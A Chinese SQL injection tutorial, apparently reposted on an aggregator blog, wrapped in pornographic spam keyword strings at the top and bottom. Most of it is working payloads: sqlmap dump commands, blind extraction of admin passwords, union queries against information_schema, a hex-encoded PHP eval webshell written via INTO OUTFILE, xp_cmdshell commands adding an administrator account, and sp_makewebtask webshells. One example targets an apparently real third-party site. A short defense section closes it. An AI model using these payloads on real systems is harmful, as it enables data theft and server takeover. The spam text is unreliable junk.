日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

2021年6月10日08点53分 SQL注入

發布時間:2023/12/14 数据库 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2021年6月10日08点53分 SQL注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1、SQL注入基礎

1.1、SQL注入基礎

SQL注入( SQL Injection ):程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據或進行數據庫操作SQL注入漏洞的危害是巨大的,常常會導致整個數據庫被“脫褲”。

URLSQL
www.test.com/news.php?id=1FROM news WHERE id=1
www.test.com/news.php?id=1’SELECT * FROM news WHERE id=1’
www.test.com/news.php?id=1 and 1=1SELECT * FROM news WHERE id=1 and 1=1
www.test.com/news.php?id=1 and 1=2SELECT * FROM news WHERE id=1 and 1=2
www.test.com/login.php?user=lisi
www.test.com/login.php?user=lisi’SELECT * FROM users WHERE user=‘lisi’’
www.test.com/login.php?user=lisi’ and ‘1’='1SELECT * FROM users WHERE user=‘lisi’ and ‘1’=‘1’

1.2、SQL注入分類

1.2.1、按變量類型分

  • 數字型注入
  • 字符型注入
  • 搜索型注入

1.2.2、按HTTP提交方式分

  • GET注入
  • POST注入
  • Cookie注入

1.2.3、按注入方式分

  • 報錯注入
  • union注入
  • 盲注基于時間注入

1.2.4、編碼問題

  • 編碼問題的寬字節注入

1.3、SQL注入漏洞的危害

1.3.1、數據庫信息泄漏

數據庫中存放的用戶的隱私信息的泄露。

1.3.2、網頁篡改

通過操作數據庫對特定網頁進行篡改。

1.3.3、網站被掛馬,傳播惡意軟件

修改數據庫一些字段的值,嵌入網馬鏈接,進行掛馬攻擊。

1.3.4、數據庫被惡意操作

數據庫服務器被攻擊,數據庫的系統管理員帳戶被竄改。

1.3.5、服務器被遠程控制,被安裝后門

經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統。

1.3.6、操作文件系統

一些類型的數據庫系統能夠讓SQL指令操作文件系統,這使得SQL注入的危害被進一步放大。

2、SQL注入工具

啊D注入工具,明小子綜合注入(僅支持Access和SQL Server,不支持其他數據庫)
Havij,Pangolin(支持Mysql,Oracle)

SQLmap
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。

python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --tables # 列出表 python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --columns -T admin # 列出字段 python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --dump -T admin # 列出表中內容 python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --dump -C id,admin,password -T admin # 列出表中指定字段的內容

2.1、Access手工注入

2.1.1、判斷數據庫類型

and (select count(8) from msysobject)>0 //返回權限不足則為access數據庫

2.1.2、猜表名

and exists (select * from 表名) and (select count(*) from 表名)>0

exists ()的作用是:()里若是返回結果集,就為真。
*是通配符,可代指一個字母或一個單詞,代表任意,即存在數據。select * from admin的意思是:在admin這個表中是否存在數據,若存在數據,exists ()就為真,and前后兩個語句都為真,程序返回正常;若admin表不存在,就是為空集,exists ()為假,程序報錯。因此通過替換“admin”就可以判斷替換的表是否存在。

2.1.3、猜字段名

and exists(select 字段名 from 表名) and (select count(字段名) from 表名)>=0

username是猜解的列名,count()的作用是:返回指定條件的行數,count(username)意思是:返回“username”有幾行,存在的話返回“1”(列名不能有重復),exists ()就為真,程序返回正常,若不存在的話,返回“0”,即為空集,exists ()就為假,程序報錯,改變“username”即可判斷輸入的列名是否存在。

2.1.4、猜字段值的長度

and (select top 1 len(字段名) from 表名)>1 and (select top 1 len(字段名) from 表名)>2 and (select top 1 len(字段名) from 表名)>n

2.1.5、猜字段值

and (select top 1 asc(mid (字段名,1,1)) from 表名)>0 and (select top 1 asc(mid (字段名,1,1)) from 表名)>1 and (select top 1 asc(mid (字段名,1,1)) from 表名)>n and (select top 1 asc(mid (字段名,2,1)) from 表名)>0 and (select top 1 asc(mid (字段名,2,1)) from 表名)>2 and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

要猜解它的內容,就要先知道它里面內容的長度,知道長度后才可以進行逐位猜解。
一般情況下,是用Mid(列名,N,1)來截取列名的第N位字符,再用ASC()函數將截取到的的字符轉換ASCII碼:ASCII碼又叫美國信息標準碼,可以將字母或符號轉換為數字,如a的十進制ASCII碼為97,猜解出來的是ASCII碼的值,還需要對其進行轉換。為了加快猜解速度,可以使用折半法進行猜解。

http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from 表名) http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select 列名 from 表名) http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>0 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>10 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>20 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)=5 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,2,1)) from admin)=100 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,3,1)) from admin)=109 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,4,1)) from admin)=105 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,5,1)) from admin)=110 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(password,1,1)) from admin)=97

2.2、Access高級手工注入(但不是所有的注入點都適合)

2.2.1、判斷數據庫類型

and user>0 //通過內置變量爆數據庫類型 and (select count(*) from msysobjects)>0 //返回權限不足為access數據庫 and (select count(*) from sysobjects)>0 //返回正常則為MSSQL數據庫

2.2.2、猜表名

and exists (select * from 表名) and (select count(*) from 表名)>=0

2.2.3、猜字段名

and exists(select 字段名from 表名) and (select count(字段名) from 表名)>=0

2.2.4、Order by猜字段數目

order by 1 order by 2 order by n

2.2.5、Union select 爆字段內容

and 1=2 union select 1,字段名,字段2,...,n from 表名 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin UNION運算要求查詢具有相同數目的字段,但是字段數據類型不必相同

注意,Access使用union聯合查詢,不論前面的查詢語句是否為真,后面的查詢語句都會覆蓋前面的結果,MySQL使用union聯合查詢時,只有前面的查詢語句為假,后面的查詢語句才會覆蓋前面查詢語句的內容,否則不會顯示union后面的查詢語句,也就無法爆出用戶名密碼

2.3、MySQL注入工具,啊D,明小子,Havij,Pangolin,SQLmap

啊D、明小子只支持ACCESS和MSSQL環境的注入點,不支持MYSQL。
Havij、Pangolin支持ACCESS/MSSQL/MYSQL等常見數據庫。
SQLMAP支持市面上基本所有的數據庫。

python sqlmap.py -u "http://localhost/mysql.php?id=1" python sqlmap.py -u "http://localhost/mysql.php id=1" --dbs # 列出存在的數據庫 python sqlmap.py -u "http://localhost/mysql.php?id=1" --current-db # 列出當前正在使用的數據庫,當前頁面正在和哪一個數據庫交互 python sqlmap.py -u "http://localhost/mysql.php?id=1" --tables -D sqlinject # 列出表,-D指定數據庫 python sqlmap.py -u "http://localhost/mysql.php?id=1" --columns -T users -D sqlinject # 列出字段,-T指定表,-D指定數據庫 python sqlmap.py -u "http://localhost/mysql.php?id=1" --dump -T users -D sqlinject # 列出數據庫內容 python sqlmap.py -u "http://localhost/mysql.php?id=1" --dump -C id,username,password -T users -D sqlinject python sqlmap.py -u "http://localhost/mysql.php?id=1" --users # 讀取mysql所有用戶 python sqlmap.py -u "http://localhost/mysql.php?id=1" --current-user # 讀取當前用戶 python sqlmap.py -u "http://localhost/mysql.php?id=1" --is-dba # 判斷當前用戶是否為root賬戶 python sqlmap.py -u "http://localhost/mysql.php?id=1" --passwords # 讀取mysql所有用戶hash密碼 python sqlmap.py -u "http://localhost/mysql.php?id=1" --banner # 讀取mysql具體版本 python sqlmap.py -u "http://localhost/mysql.php?id=1" --os-shell #

2.4、MySQL手工注入

Mysql中不用判斷表是否存在,可以直接order by判斷頁面中的字段數量。

http://192.168.0.104/sqlinject/mysql.php?id=1+order+by+3 http://192.168.0.104/sqlinject/mysql.php?id=1+order+by+4

通過order by 得到頁面字段數量后,即可通過union select確定顯示位。

http://192.168.0.104/sqlinject/mysql.php?id=1+union+select+1,2,3

頁面中不但顯示了正常的內容,也顯示了顯示位信息。如果要避免正常內容對顯示位產生誤導影
響,可通過在union select之前增加and 1=2的方式屏蔽原始的正常內容。

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+1,2,3

And 1=2的作用,是把union select之前的語句變成FALSE的狀態,即可使union之后的值覆蓋前邊的值。
為了達到這種覆蓋的效果,將URL中傳遞參數的值變為數據庫中一定不會存在的值也可以。
比如:

http://192.168.0.104/sqlinject/mysql.php?id=1000+union+select+1,2,3 http://192.168.0.104/sqlinject/mysql.php?id=-1+union+select+1,2,3

頁面上顯示的1、2、3等數字就是顯示位,可以用于后續注入查詢數據的展示。

得到顯示位后,即可查詢版本、當前用戶、當前數據庫等基本信息。只要是mysql支持的函數,都可以在顯示位處執行。

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+user(),version(),database()

從MySQL 5開始, 你可以看到多了一個系統數據庫information_schema。
來看一下information_schema庫的表有哪些:information_schema存貯了其他所有數據庫的信息,但它物理上并不存在,在需要的時候,從其他數據庫獲取相應的信息。
如果注入點所使用的mysql賬戶對information_schema有讀取權限的話,攻擊者就可以直接從該庫中得到他想要的一切信息。
更多關于information_schema的詳細信息可以看官網介紹:
http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html

2.4.1、查庫語法

select concat(GROUP_CONCAT(DISTINCT table_schema)) from information_schema.columns;

這條SQL語句的意思,就是從information_schema庫的COLUMNS表中查詢出所有TABLE_SCHEMA列的內容并過濾重復。
查庫語法在SQL注入點中的示例:

http://www.cmiqc.com/content/info.php?id=253+and+1=2+union+select+1,2,3,concat(GROUP_CONCAT(DISTINCT+table_schema)),5,6,7,8+from+information_schema.columns

一條注入指令,就爆出了當前mysql中所有的庫名列表。這是因為在COLUMNS表中的TABLE_SCHEMA列中存儲了mysql中所有的非空庫名。
實際上在很多其他的表中也存在TABLE_SCHEMA列,這些列中也存儲了mysql中所有的非空庫名,比如information_schema.SCHEMATA表。
SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(schema_name)),2,3+from+information_schema.SCHEMATA

還有information_schema.TABLES表也可以用于查庫。SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT table_schema)),2,3+from+information_schema.TABLES

2.4.2、查表

可以從information_schema.TABLES和information_schema.COLUMNS這2個表中查詢各個庫中的所有表名。
SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT table_name)),2,3+from+information_schema.TABLES+where+table_schema='xssme' http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCTtable_name)),2,3+from+information_schema.TABLES+where+table_schema=0x7873736D65

2.4.3、查列

可以從information_schema.COLUMNS表中查詢出每個庫中每個表中所包含的列名。
SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT column_name)),2,3+from+information_schema.COLUMNS+where+table_name= 'oc_user' http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT column_name)),2,3+from+information_schema.COLUMNS+where+table_name=0x6F635F75736572

3、常用變量與函數

3.1、MySQL注入-常用變量與函數

在mysql中執行SHOW VARIABLES;就可以返回當前所有可用的變量和變量的值

變量功能說明
@@version_compile_os返回操作系統類型
@@Datadir返回數據存儲目錄的路徑
@@Basedir返回mysql安裝目錄的路徑
@@log_error返回mysql錯誤日志的路徑
@@plugin_dir返回mysql的插件目錄的路徑
@@tmpdir返回mysql存儲臨時文件的目錄路徑
@@skip_networking返回mysql是否只允許本地連接的布爾值,1為是,0為否
函數功能說明
version()返回數據庫版本
database()返回當前庫名
user()返回當前登錄用戶,可用SYSTEM_USER()、SESSION_USER()、CURRENT_USER()替代
concat()用于連接一個或者多個字符串,注入中一般用于在一個位置顯示多個內容
GROUP_CONCAT()一次性返回一列的全部內容
load_file()讀取文件
into outfile()導出文件,導出過程中會轉義換行符并在行末端寫入新行
into dumpfile()導出文件,不對數據做任何修改,但只能導出一行數據

3.2、MySQL注入-Concat()和concat_ws()函數

Concat()函數用于連接一個或者多個字符串,注入中一般用于在一個位置顯示多個內容。當注入點的顯示位只有一個,但又需要同時顯示多條內容時,就需要使用concat()函數。
語法:

select concat(user(),',',database(),',',version()); select concat(user(),0x2c,database(),0x2c,version());

SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(user(),0x2c,database(),0x2c,version()),2,3

Concat()函數的語法不會主動為每個被包含的內容中間加上分隔符號以更便于閱讀,所以需要手動
在每兩個被包含內容中間增加分隔符號。
Concat_ws()函數可以指定一個分隔符號,從而幫助我們在被包含的兩個內容中間自動添加該分隔
符號,比如:

select concat_ws(0x2c,user(),database(),version());

SQL注入代碼:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat_ws(0x2c,user(),database(),version()),2,3

4、MySQL高級注入-Load_file和into outfile

4.1、利用條件

  • Mysql賬戶具備file權限
  • Mysql版本為3.23以上,否則低版本的mysql沒有into
    outfile和dumpfile函數,無法導出文件,官方說明見:http://dev.mysql.com/doc/refman/4.1/en/select.html
  • 被導出的目錄可寫可執行

4.2、Mysql賬戶的file權限是什么?

Mysql安裝之后會存在一個名為mysql的默認數據庫,這個庫中存儲了mysql的大部分配置信息。
每個mysql賬戶的權限控制信息存儲在mysql.user表中,File_priv確定用戶是否可以執行SELECT INTO OUTFILE和LOAD DATA INFILE命令。對于滲透測試來說,經常需要關注的字段是mysql.user. File_priv,這個字段的值是一個布爾值,它決定了該用戶是否具備操作磁盤上的文件的權限。比如如果mysql.user. File_priv中對mysql賬戶root的定義值是Y,那么root就有權讀寫服務器磁盤上的文件。反之,如果該值為N,則root無權讀寫服務器磁盤上的文件。
所以,在注入時,不能看到是root就判斷一定可以利用into outfile/loadfile函數。能否利用into outfile/loadfile/into dumpfile這種文件操作函數與賬戶名無關,與mysql.user. File_priv字段中對該賬戶的權限分配有關。
可以使用以下SQL語句查詢用戶是否具備File_priv權限:

select HOST,USER,FILE_PRIV from mysql.user;

在當前賬戶沒有文件操作權限時執行into outfile/loadfile/into dumpfile等文件操作函數,會提示Access denied訪問拒絕:
如果要禁用某個mysql賬戶的文件操作權限,則構造以下SQL語句執行即可:

UPDATE mysql.user SET File_priv = 'N' WHERE User='fan'; FLUSH PRIVILEGES;

如果要禁用所有賬戶的文件操作權限,則執行:

UPDATE mysql.user SET File_priv = 'N'; FLUSH PRIVILEGES;

切記在修改完用戶權限后,一定要執行“FLUSH PRIVILEGES;”語句重載mysql用戶授權表或重啟mysql服務,否則mysql依然使用的是緩存在內存中的權限配置。

4.2.3、Load_file讀文件

因為mysql中字符串可以用16進制表示,所以要加載的文件的路徑及文件名可以轉換為16進制后執行,這樣可以繞過GPC的限制。
前提條件:

  • 文件必須在服務器上。
  • LOAD_FILE()函數操作文件的當前目錄是@@datadir 。
  • MySQL用戶必須擁有對此文件讀取的權限。
  • 文件大小必須小于 max_allowed_packet。
  • @@max_allowed_packet的默認大小是1047552 字節。

示例:

select load_file('C:\\boot.ini');

可以將文件路徑轉換為16進制再讀取:

select load_file(0x433A2F7068705F777777726F6F742F31375F30395F32342E6C6F67);

在注入點的利用:

http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,load_file('C:\\boot.ini'); http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,load_file(0xhex);

4.2.4、into outfile寫文件

前提條件:

  • INTO OUTFILE 不可以覆蓋已存在的文件。
  • INTO OUTFILE 必須是最后一個查詢。
  • 引號是必須的,因為沒有辦法可以編碼路徑名。

SQL語句:

select 0x3C3F70687020406576616C28245F504F53545B2770617373275D293B3F3E into outfile 'C:\\PHPSTUDY-002\\WWW\\caidao.php'

在注入點的利用:

http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,0x3C3F70687020406576616C28245F504F53545B2770617373275D293B3F3E into outfile 'C:\\PHPSTUDY-002\\WWW\\caidao2.php'

4.2.5、secure-file-priv參數

secure-file-priv參數是用來限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

  • 當secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
  • 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
  • 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

如何查看secure-file-priv參數的值:

show global variables like '%secure%';

此開關默認為NULL,即不允許導入導出。
官方說明:
https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_ priv
https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_secure_file_ priv

5、MSSQL注入

python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dbs python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --current-db python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --tables -D db_shop python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --columns -T users -D db_shop(讀不出列,需手工) python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dump -T users -D db_shop(讀不出列,需手工) python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dump -C id,username,password -T users -D db_shop(讀不出列,需手工)

5.1、基本注入

單引號判斷注入
判斷數據庫類型

and user>0 //通過內置變量爆數據庫類型 and (select count(*) from sysobjects)>0 //返回正常則為MSSQL數據庫

user是SQLServer的一個內置變量,它的值是當前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 ”abc” 轉換數據類型為 int 的列時發生語法錯誤,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數據庫的用戶名。
如果是sa登錄,提示是將”dbo”轉換成int的列發生錯誤,而不是”sa”。
在本文演示的案例中,提示就是dbo,那么說明當前注入點的權限是sa。
判斷版本:and (select @@version)>0;--

判斷當前數據庫:

and db_name()>0;-- 獲取機器名: and (select @@servername)>0;-- 判斷是否為sa權限: and (select is_member('db_owner'))>0;-- 判斷是否有master庫讀取權限: and (select HAS_DBACCESS('master'))>0;-- 有master庫的讀取權限,就可以遍歷數據庫中存在的所庫的名字了。

5.2、爆庫

and (select name from master.dbo.sysdatabases where dbid=1)>0;-- and (select name from master.dbo.sysdatabases where dbid=2)>0;-- 也就是不斷變化dbid的值,來遍歷數據庫中所有的庫名,其默認數據庫的 id 號從 6 以后為

用戶定義數據庫。
當dbid的值足夠大時,那么數據庫中肯定沒有這么多的庫,這時and語句的執行結果就會是false:
ADODB.Field 錯誤 '80020009’BOF 或 EOF 中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
/shop/looknews.asp,行 0

5.3、爆表

http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 )>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass'))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin'))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin','class'))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin','class','D99_CMD'))>0;--

5.4、暴列

http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),1) from sysobjects)>0;-- http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),2) from sysobjects)>0;-- http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),3) from sysobjects)>0;--

5.5、爆內容

只要將之前得到的表名列名進行組合查詢,形成完整的SQL查詢語句即可進行正常的查詢。

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin)>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin)>0;--

按照上述的手法可以得到第一條數據,不過想得到第2條或第N條數據的話,就稍微有點麻煩。

取得第二條數據:

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin where username not in (select top 1 username from admin))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin where pass not in (select top 1 pass from admin))>0;--

取得第三條數據:

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin where username not in (select top 2 username from admin))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin where pass not in (select top 2 pass from admin))>0;--

MSSQL總結

爆庫、表、字段、內容分別是 http://192.168.1.21/looknews.asp?id=20 and (select name from master.dbo.syasdatabases where dbid=1)>0; -- http://192.168.1.21/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u')>0; -- http://192.168.1.21/looknews.asp?id=20 and (select col_name(object_id('admin'),1))>0; -- http://192.168.1.21/looknews.asp?id=20 and (select top 1 username from admin)>0; --

6、SQL注入

6.1、MSSQL高級注入-存儲過程

存儲過程:存儲過程為數據庫提供了強大的功能,其類似UDF,在MSSQL中xp_cmdshell可謂臭名昭著了。MSSQL強大的存儲過程也為黑客提供了便利,在相應的權限下,攻擊者可以利用不同的存儲過程執行不同的高級功能,如增加MSSQL數據庫用戶,枚舉文件目錄等等。而這些系統存儲過程中要數xp_cmdshell最強大,通過該存儲過程可以在數據庫服務器中執行任意系統命令。MSSQL2005,2008等之后版本的MSSQL都分別對系統存儲過程做了權限控制以防止被濫用。
擴展存儲的本質是編譯了的動態鏈接庫(DLLs),它用SQL-Server指定的調用方式去運行接口函數。他們允許SQL-Server程序 擁有了和c/c++一樣的功能,是個非常有用的特性。SQL-Server內置了大量的擴展存儲,而且有各種各樣的函數比如發送郵件和更改注冊表。

6.2、MSSQL高級注入-XP_CMDSHELL

判斷XP_CMDSHELL是否存在

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name ='xp_cmdshell');-- 如果存在,會返回正常頁面。

如果不存在,會提示:
ADODB.Field 錯誤 ‘800a0bcd’
BOF 或 EOF 中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。xp_cmdshell是一個內置的擴展存儲,它允許執行任意的命令行程序。

http://localhost:83/shop/looknews.asp?id=20;Exec master.dbo.xp_cmdshell 'net user cmdshell cmdshell /add';-- http://localhost:83/looknews.asp?id=20;exec master.dbo.xp_cmdshell 'net localgroup administrators cmdshell /add';--

6.3、MSSQL高級注入-通過sp_makewebtask直接獲得webshell

如果未啟用Web Assistant Procedures,那么MSSQL會提示錯誤:
SQLServer 阻止了對組件 ‘WebAssistant Procedures’ 的 過程’sys.xp_makewebtask’ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。

開啟:exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE 寫入webshell:exec sp_makewebtask 'c:\1.asp','select''<%execute(request("ruo"))%>'' ' SQL注入: http://localhost:83/looknews.asp?id=20;exec sp_makewebtask 'C:\Inetpub\wwwroot\asp_mssql\test.asp','select''<%25eval request("pass")%25>'''; --

6.4、SQL注入防御

6.4.1、輸入驗證:驗證應用接收到的輸入時一種可用的功能強大的控制手段。

  • 黑名單驗證:黑名單驗證的常用方法是使用正則表達式。

  • 白名單驗證:

    驗證數據是否為白名單范圍中的內容。
    數據類型:字符、數字等。
    數據大小:字符串長度是否正確,數字的大小和精度是否正確。
    數據范圍:如果是數字型,是否位于該數據類型期望的數字范圍。
    數據內容:數據是否屬于期望的數據類型,如手機號碼,它是否滿足期望的值。

6.4.2、使用參數化語句

PHP包含很多用于訪問數據庫的框架。訪問MySQL數據庫的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP數據對象(PDO)框架,他們均為使用參數化語句提供便利。

6.4.3、使用存儲過程

將應用設計成專門使用存儲過程來訪問數據庫是一種可以防止或減輕SQL注入影響的技術。存儲過程是保存在數據庫匯總的程序。根據數據庫的不同,可以使用很多不同語言及其變體來編寫存儲過程。

總結

以上是生活随笔為你收集整理的2021年6月10日08点53分 SQL注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

91精品国产九九九久久久亚洲 | 中国精品少妇 | 中文字幕在线观看不卡 | 日韩精品中文字幕久久臀 | 天天草视频 | 欧美国产日韩一区 | 国产精品久久久久aaaa九色 | 婷婷色视频 | 国产精品资源在线观看 | 免费av网站观看 | 超碰在线公开免费 | 9999免费视频 | 久久久三级视频 | 亚一亚二国产专区 | 日韩三级一区 | 免费看网站在线 | 精品久久久久久久久久国产 | 国产黄免费| 久久精品99国产精品日本 | 精品a级片 | 久久久午夜剧场 | 日韩av视屏在线观看 | 欧美日韩激情视频8区 | 最近中文字幕第一页 | 一级成人在线 | 亚洲国产网站 | 久久人网 | 久久综合狠狠综合久久综合88 | 色视频在线 | 色多多在线观看 | 一区二区三区在线观看免费视频 | 精品国产精品久久一区免费式 | 日韩高清一二三区 | 国产精品 国产精品 | 夜夜躁日日躁 | 黄色91免费观看 | 91福利在线导航 | 久久精品美女 | 在线免费观看的av网站 | 国产精品午夜8888 | 久草视频在线观 | 99久久99久久综合 | 欧美激情综合五月色丁香小说 | av色影院| 国产一区高清在线观看 | 久久久91精品国产一区二区精品 | 欧美日韩一区二区三区不卡 | 国产三级视频 | 免费观看视频黄 | 国产短视频在线播放 | 国产精品a久久 | 国产在线国产 | 99久久这里只有精品 | 毛片a级片 | 日韩丝袜在线观看 | 中文字幕免费中文 | 欧美成人性战久久 | 2020天天干夜夜爽 | 日本久热 | 欧美成人按摩 | 国产又粗又硬又长又爽的视频 | 狠狠色丁香婷婷综合橹88 | 久久精品99国产精品酒店日本 | 国产免费一区二区三区最新 | 国产精品免费看久久久8精臀av | 亚洲精品综合欧美二区变态 | 欧美性色黄大片在线观看 | 激情久久一区二区三区 | 天天色天天爱天天射综合 | 狠狠干综合 | 国产资源免费在线观看 | 波多野结衣视频在线 | 人人舔人人| 日韩欧美高清一区二区三区 | 91精品电影| 国产一级片一区二区三区 | 久久久久久高潮国产精品视 | 性色大片在线观看 | 超碰人人99 | 亚洲三级网站 | 亚洲精品黄色在线观看 | 欧美高清视频不卡网 | 久久免费视频在线观看30 | 国产又粗又猛又爽又黄的视频免费 | 91麻豆高清视频 | 激情综合五月天 | 日韩在线电影一区二区 | 久久久18 | 国产成人一区二区三区在线观看 | 日韩欧美在线视频一区二区三区 | 五月婷婷.com | 国产精品久久99精品毛片三a | 国产一级淫片免费看 | 在线视频 你懂得 | 国产在线观看免费观看 | 日韩欧美一区二区三区在线观看 | 亚洲精品视频在线观看视频 | 蜜臀久久99精品久久久无需会员 | www九九热 | 亚洲精品乱码久久久一二三 | 一区久久久| 亚洲综合色婷婷 | 免费黄色a级毛片 | 久草在线免费电影 | av免费在线免费观看 | 亚洲一片黄 | 亚洲精品xxxx | 久久久久久久久久久综合 | 久久精品国产成人精品 | 久草a在线| 精品国产三级 | 涩av在线 | 日本婷婷色 | 成年人免费看片网站 | 一区二区三区在线电影 | 二区三区在线视频 | 久久九九国产精品 | 在线观看亚洲免费视频 | h动漫中文字幕 | 三级黄免费看 | 蜜臀av夜夜澡人人爽人人 | av动态图片| 欧美国产精品一区二区 | 欧美日韩在线观看一区二区 | 日韩欧美视频免费在线观看 | 亚洲精品国产自产拍在线观看 | 日韩免费一区二区三区 | 天天骚夜夜操 | 国产乱码精品一区二区三区介绍 | 国产精品扒开做爽爽的视频 | 天天玩天天干天天操 | 99在线热播精品免费99热 | 99九九免费视频 | 国产一二三区av | 亚洲精品综合在线 | 国产系列精品av | 欧美精品久久久久性色 | 一级黄色片在线免费看 | 99视频在线精品免费观看2 | 国产99色| 久久曰视频 | 国产色视频一区二区三区qq号 | 精品中文字幕在线观看 | 亚洲视频免费 | 五月婷婷六月丁香 | 免费福利视频网 | 色网址99 | 久久国产高清 | 